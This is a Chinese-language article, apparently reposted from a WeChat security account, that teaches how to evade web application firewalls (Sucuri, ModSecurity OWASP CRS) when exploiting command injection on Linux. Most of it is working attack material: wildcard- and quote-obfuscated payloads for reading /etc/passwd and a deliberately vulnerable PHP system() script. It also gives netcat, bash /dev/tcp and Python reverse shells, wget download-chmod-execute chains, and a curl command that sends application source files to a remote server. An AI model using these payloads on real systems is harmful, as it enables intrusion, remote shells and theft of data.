查看原文
其他

Web 应用防火墙逃逸技术

一叶飘零 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


在Web应用程序中发现远程命令执行漏洞并不罕见,并且”注入”被公认为”2017 OWASP Top 10”之首。

当不可信数据作为命令或查询的一部分发送给解释器时,会发生注入漏洞:如SQL,NoSQL,OS和LDAP注入。

攻击者的恶意数据可能会诱使解释器执行意外的命令或在未经适当授权的情况下访问数据。

所有现代Web应用防火墙都能够拦截(甚至阻止)RCE的测试,但是当它发生在Linux系统中时,我们有很多方法可以规避WAF规则集。它的名字是”通配符”。在开始做WAPT之前,我想向你展示一些你可能不知道的有关bash和通配符的知识。

你可能不知道的通配符


Bash标准通配符(也称为通配符模式)被各种命令行实用程序用于处理多个文件。有关标准通配符的更多信息,请参阅手册页man 7 glob。并不是每个人都知道有很多bash语法可以让你使用问号”?”,正斜杠”/“,数字和字母来执行系统命令。

您甚至可以使用相同数量的字符枚举文件并获取其内容。我举几个例子:
取而代之ls命令,你可以使用下面的语法:

/???/?s

用这种语法,你可以执行基本上你想要的任何事情。假设您的易受攻击目标位于Web应用程序防火墙之后,并且此WAF有一条规则,该规则可阻止包含GET参数/etc/passwd或/bin/ls内部值的所有请求,或在POST请求中阻止所有请求内部值的请求。如果你试图提出一个请求,/?cmd=cat+/etc/passwd它会被目标WAF阻止,你的IP将被永久禁止。但是你的口袋里有一把叫做通配符的秘密武器。如果你幸运的话(我们后面会看到,可能没那么幸运)目标WAF没有足够的级别来阻止像?和/在查询字符串中。那么你可以很容易构造你的payload像这样:

/?cmd=%2f???%2f??t%20%2f???%2fp??s??

正如你在上面的截图中看到的,有3个错误/ bin / cat *:是一个目录。发生这种情况是因为/???/??t可以通过globbing过程转换,可被转化为/bin/cat,也可以是/dev/net或者/etc/apt等……

问号通配符只代表一个字符,可以是任何字符。因此,如果你知道文件名的一部分,那么你可以使用这个通配符。例如,ls *.???会列出当前目录中所有文件的长度为3个字符的扩展名。

因此将列出具有诸如.gif,.jpg,.txt之类的扩展名的文件。

使用这个通配符,你可以使用netcat执行一个反向shell。假设您需要在端口1337
(通常nc -e /bin/bash 127.0.0.1 1337)执行127.0.0.1的反向shell ,您可以使用如下语法来执行此操作:

/???/n? -e /???/b??h 2130706433 1337

以long格式(2130706433)转换IP地址127.0.0.1,可以避免在HTTP请求中使用”点”字符。

在我的kali中我需要使用nc.traditional,以便/bin/bash连接后执行。payload变成这样:

/???/?c.??????????? -e /???/b??h 2130706433 1337

总结了我们刚才看到的两个命令:

标准:/bin/nc 127.0.0.1 1337

bypass:/???/n? 2130706433 1337

使用字符:/ ? n [0-9]

标准:/bin/cat /etc/passwd

bypass:/???/??t /???/??ss??

使用字符:/ ? t s

为什么要用?而不是*?因为星号()被广泛用于评论语法(类似于`/ 嗨,我是注释 /),并且许多WAF会阻止它为了避免SQL注入,类似于UNION + SELECT + 1,2,3 / 枚举文件和目录使用echo?。该echo命令可以使用通配符枚举文件系统上的文件和目录。例如echo //ss*`

这可以在RCE上使用,以获取目标系统上的文件和目录,例如:

但为什么使用通配符(特别是问号)可以规避WAF规则集?让我从Sucuri WAF开始吧!

Sucuri WAF 逃逸

测试WAF规则集的最佳方法是哪一种?

创建世界上最脆弱的PHP脚本并尝试所有可能的技巧!在上面的屏幕截图中,我们有:

在左上窗格中有我简陋的Web应用程序(它只是一个执行命令的PHP脚本):

<?php      echo 'ok: ';      print_r($_GET['c']);      system($_GET['c']);

在左下方的窗格中,您可以在我的网站上看到由Sucuri WAF(test1.unicresit.it)保护的远程命令执行测试。正如您所看到的,Sucuri以原因:检测到尝试的RFI/LFI请求,阻止了您的请求。

右窗格是最有趣的,因为它显示相同的请求,但使用?作为通配符。结果令人害怕
Sucuri WAF接受了这个请求,我的应用程序执行了我放入c参数的命令。现在我可以读取/etc/passwd文件,甚至更多…

我可以阅读应用程序本身的PHP源代码,我可以使用netcat来执行反向shell/???/?c,或者我可以用curl或wget按顺序执行程序以显示网络服务器的真实IP地址,使我能够通过直接连接到目标来绕过WAF。

但必须要澄清,我正在使用不代表真实场景的简陋PHP脚本进行此测试。恕我直言,你不应该根据它阻止多少请求来判断一个WAF,而且Sucuri不会因为不能完全保护一个故意容易受到攻击的网站而变得不那么安全。

ModSecurity OWASP CRS 3.0

我真的很喜欢ModSecurity,我认为用于Nginx和Nginx连接器的新libmodsecurity(v3)是我用来部署Web应用程序防火墙的最佳解决方案。我也是OWASP核心规则集的忠实粉丝!我在任何地方都使用它,但是,如果你不太了解这个规则集,你需要注意一个叫做love的东西..emmmm,不好意思,是Paranoia Level!

Paranoia Level

您可以在这里找到以下”架构”,其很好地概述了每个级别在”REQUEST PROTOCOL ENFORCEMENT”规则上的工作原理。

正如你用PL1所看到的,一个查询字符串只能包含1-255范围内的ASCII字符,并且它变得更具限制性,直到PL4在非常小的范围内阻止所有不是ASCII字符的参数。

# -=[ Targets and ASCII Ranges ]=-## 920270: PL1# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 1-255# Example: Full ASCII range without null character## 920271: PL2# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 9,10,13,32-126,128-255# Example: Full visible ASCII range, tab, newline## 920272: PL3# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY# ASCII: 32-36,38-126# Example: Visible lower ASCII range without percent symbol## 920273: PL4# ARGS, ARGS_NAMES and REQUEST_BODY# ASCII: 38,44-46,48-58,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : &## 920274: PL4# REQUEST_HEADERS without User-Agent, Referer, Cookie# ASCII: 32,34,38,42-59,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

让我们来做一些测试吧!

Paranoia Level 0(PL0)

Paranoia Level 0意味着许多规则被禁用,所以我们的payload可以导致远程命令执行没有任何问题。不要惊慌:)

SecAction "id:999, phase:1, nolog, pass, t:none, setvar:tx.paranoia_level=0"

ModSecurity中的Paranoia Level 0意味着”高质量的完美规则,几乎没有误报”,但它也过于宽容。您可以在netnea网站上找到按Paranoia级别分组的规则列表:

https://www.netnea.com/cms/core-rule-set-inventory/

Paranoia Level 1&2(PL1,PL2)

我已经将级别1和级别2分组,因为它们的差异(如您在上面的模式中所见)不会影响我们的目标,所有行为都与以下所述相同。

SecAction "id:999, phase:1, nolog, pass, t:none, setvar:tx.paranoia_level=1"

PL1(和PL2)ModSecurity显然阻止了我对”OS文件访问尝试(930120)”的请求。但是如果我使用问号作为通配符呢?该申请被我的WAF接受:

发生这种情况是因为“问号”,“正斜杠”和“空格”在规则920271和920272中的可接受字符范围内。此外,使用“问号”而不是命令语法使我能够避开拦截操作系统的常用命令和文件(例如,在我们的例子中为/etc/passwd)的”操作系统文件”筛选器。

Paranoia Level 3(PL3)

这种Paranoia Level 3水平有一个好处:它阻止包含?等字符超过n次的请求。实际上,我的请求被封锁为”字符异常检测警报”。这很酷!不错的工作ModSecurity,你赢了!

但不幸的是,我的Web应用程序非常简陋,容易受到攻击,因此我可以使用较少的问号并使用以下语法读取passwd文件:

c=/?in/cat+/et?/passw?

正如你所看到的,只用3个?,我可以逃避这个Paranoia Level,并读取目标系统中的passwd文件。好吧,这并不意味着你必须始终无条件地将你的Paranoia Level设置为4。请记住,我用一个非常愚蠢的PHP脚本来测试它并不代表真实的场景。

Paranoia Level 4(PL4)

基本上没有逃逸办法,至少我不能。范围之外的所有字符a-z A-Z 0–9都被阻止!没办法!相信我,当你需要执行命令来读取文件时,有90%的概率需要“空格”字符或“正斜杠”


返回到静态HTML页面


这是提高Web应用程序安全性的最快方法!很难说什么是避免WAF逃避的最佳配置,或者什么是最好的Paranoia Level。但我可以说,恕我直言,我们不应该信任在Web应用程序上均匀分布的规则集。事实上,我认为我们应该配置我们的WAF规则,每个应用程序功能都是上下文化的。

无论如何,当你在你的ModSecurity或类似的东西上编写一个新的SecRule时,请记住,可能有很多方法来绕过你的过滤或者正则表达式。

连接符

在许多编程语言中,字符串连接是一个二进制中缀运算符。
+(加)操作经常重载表示为字符串参数级联:”Hello, “ + “World”具有值”Hello, World”
在其他语言中,也有一些单独的运算符,例如:
Perl和PHP的.
Lua的..等等
例如:

$ php -r 'echo "hello"." world"."n";'hello world$ python -c 'print "hello" + " world"'hello world

但如果你以为这就是连接字符串的唯一途径,那你就错了~

在几种语言中,特别是C,C ++,Python以及可以在Bash中找到的脚本语言/语法,都有一些名为string literal concatenation的含义,意思是相邻的字符串连接在一起,没有任何操作符:"Hello, " "World"具有值"Hello, World"。这不仅适用于printf和echo命令,而且适用于整个bash语法。让我们从头开始。
以下每个命令都具有相同的结果:

# echo test# echo 't'e's't# echo 'te'st# echo 'te'st''# echo 'te'''st''# python -c 'print "te" "st"'

发生这种情况是因为所有相邻的字符串在Bash中连接在一起。

实际上'te's't'由三个字符串组成:字符串te,字符串s和字符串t。

该语法可用于绕过基于“匹配短语” 的过滤器(或WAF规则)(例如,ModSecurity中的pm操作符)。

ModSecurity中的规则SecRule ARGS "@pm passwd shadow groups".....将阻止包含passwd或shadow的所有请求。但是如果我们将它们转换为pa'ss'wd或sh'ad'ow就像我们之前看到的SQLi语法一样,它使用注释来分割查询,在这里我们也可以使用单引号'分割文件名和系统命令并创建一组串联的字符串。

同一个命令的几个例子:

$ /bin/cat /etc/passwd$ /bin/cat /e'tc'/pa'ss'wd$ /bin/c'at' /e'tc'/pa'ss'wd$ /b'i'n/c'a't /e't'c/p'a's's'w'd'

现在,让我们假设您已经发现了一个对应用程序执行远程命令的url参数。如果有一条规则阻止诸如etc,passwd,shadow等等这样的短语,你可以用类似这样的方法绕过它:

curl .../?url=;+cat+/e't'c/pa'ss'wd

是时候做一些测试了!

我将使用下面的PHP代码,以测试它,像往常一样,我使用了Sucuri WAF和ModSecurity的。

大概,阅读这段代码后,你会觉得它太愚蠢和简单了,没有人不去使用PHP curl函数,而在system()函数内部使用curl,我将使用的PHP代码是:

<?php   if ( isset($_GET['zzz']) ) {      system('curl -v '.$_GET['zzz']);   }

Sucuri WAF

我认为在这篇文章后不久,Sucuri的某个人将会很快删除我的帐户
~但是,我发誓:我使用Sucuri WAF与我的ModSecurity进行比较,并不是因为我认为其中一个比另一个更好。

Sucuri提供了很好的服务,我将它作为示例,仅仅因为它被广泛使用,所有用户阅读本文,都可以在其Web应用程序上更好地测试这些技术。

首先,我尝试使用此PHP应用程序来获取google.com的响应主体,而不对参数的值进行编码:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

它按预期工作,google.com 302页面显示,我应该跳转到www.google.de(谷歌地理定位我的服务器在Frankfurt):

现在,为了利用这个易受攻击的应用程序,我做了很多事情。其中一件事是用分号;分解curl并尝试执行其他系统命令。

当我尝试读取/etc/passwd文件时,Sucuri会探测到

例如:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

由于以下原因被Sucuri WAF阻止

阻止试图对RFI / LFI进行的检测

我认为(只是一个假设,因为用户无法看到Sucuri WAF规则的细节)
Sucuri RFI / LFI尝试规则使用了我们以前见过的“匹配短语”之类的东西,并列出了常见的路径和文件名etc/passwd。这个WAF有一个非常简约的规则集和一个非常低的级别,可以让我用两个单引号绕过这条规则!

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

我知道你在想什么:是否在Sucuri WAF积极保护你的应用程序的时候获取一个shell?

当然可以!

但是唯一的问题是我们不能使用netcat,因为它没有安装在目标容器上

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"/bin/ls$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"$

最简单的方法(可以被WAF阻止的特殊字符很少)就是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但不幸的是,使用该payload绕过所有规则集太复杂了,这意味着很难使用某些PHP, Perl或Python代码来获取它。

Sucuri WAF以此原因阻止了我的尝试

检测到混淆的攻击负载

完蛋了,不是吗?

我可以尝试使用curl wget将python的反向shell上传到目标的可写目录中,而不是直接在易受攻击的参数上执行shell。首先,准备python代码:vi shell.py

#!/usr/bin/pythonimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<my ip address>",2375)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

然后公开一个可以从目标访问的web服务器,像往常一样使用python -c SimpleHTTPServer或php -S等
然后从目标网站下载shell.py文件,我已经使用了以下语法:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

好的,Sucuri WAF并没有阻止这个请求,但通常ModSecurity会阻止
如果你想确保绕过所有的“匹配短语”规则类型,你可以使用
wget + ip-to-long转换 + string串联
例如

.../?zzz=wg'e't 168431108 -P tmp .../?zzz=c'hm'od 777 -R tmp .../?zzz=/t'm'p/index.html

第一条命令wget用来下载/tmp/shell文件。
第二个用于chmod使其可执行
第三个执行它。

绕过ModSecurity和OWASP核心规则集

可能你认为,如果waf检测级别很低,你可以绕过OWASP核心规则集,就像我们在第一篇文章中看到的那样。

但这样基本行不通。因为有两个东西叫做normalizePath和cmdLine。

在ModSecurity中,它们被称为“转换函数”,用于在输入数据用于匹配之前修改输入数据(例如,运算符执行)。

ModSecurity将创建数据副本,对其进行转换,然后根据结果运行运算符。

normalizePath:从输入字符串中删除多个斜杠,目录自引用和目录反引用(输入开始时除外)。

cmdLine:将打破所有渗透者的梦想,该转换函数通过规范化参数值并触发所有规则,例如/e't'c/pa'ss'wd,被规范化为/etc/passwd,然后再进行规则触发。

它做了很多事情!比如

删除所有反斜杠
删除所有双引号"
删除所有的单引号'
删除所有插入符号^
在斜杠/前删除空格
在开括号(之前删除空格
将所有逗号,和分号;替换为空格
将所有多个空格(包括制表符,换行符等)替换为一个空格
将所有字符转换为小写

由于cmdLine转换函数的原因,规则932160阻止了所有尝试利用带有级联字符串的RCE的尝试:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )""o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase""ruleId":"932160"

我无法读取/etc/passwd,但不要绝望!

OWASP核心规则集知道公用文件,路径和命令以阻止它们,但它不能与目标应用程序的源代码执行相同的操作。

我不能使用分号;字符(这意味着我不能破坏curl语法),但是我可以使用curl来将文件泄露发送到我的远程服务器。这一招适用于paranoia level 0-3
诀窍是用POST HTTP请求将文件发送到请求主体中的远程服务器,并且curl可以通过使用data参数来完成-d:

curl -d @/<file> <remote server>

请求后,编码@为%40:

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

如果目标的paranoia level设置为4,所有这些都不起作用,因为payload包含连字符,正斜杠等字符。

好消息是paranoia level 4在生产环境中很难找到。

反斜杠是新的单引号:)

同样的技术也可以使用反斜杠字符。这不是一个串联字符串,而只是一个转义序列:


静谧岁月弘扬传统文化,传承中华美德,传递正能量。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存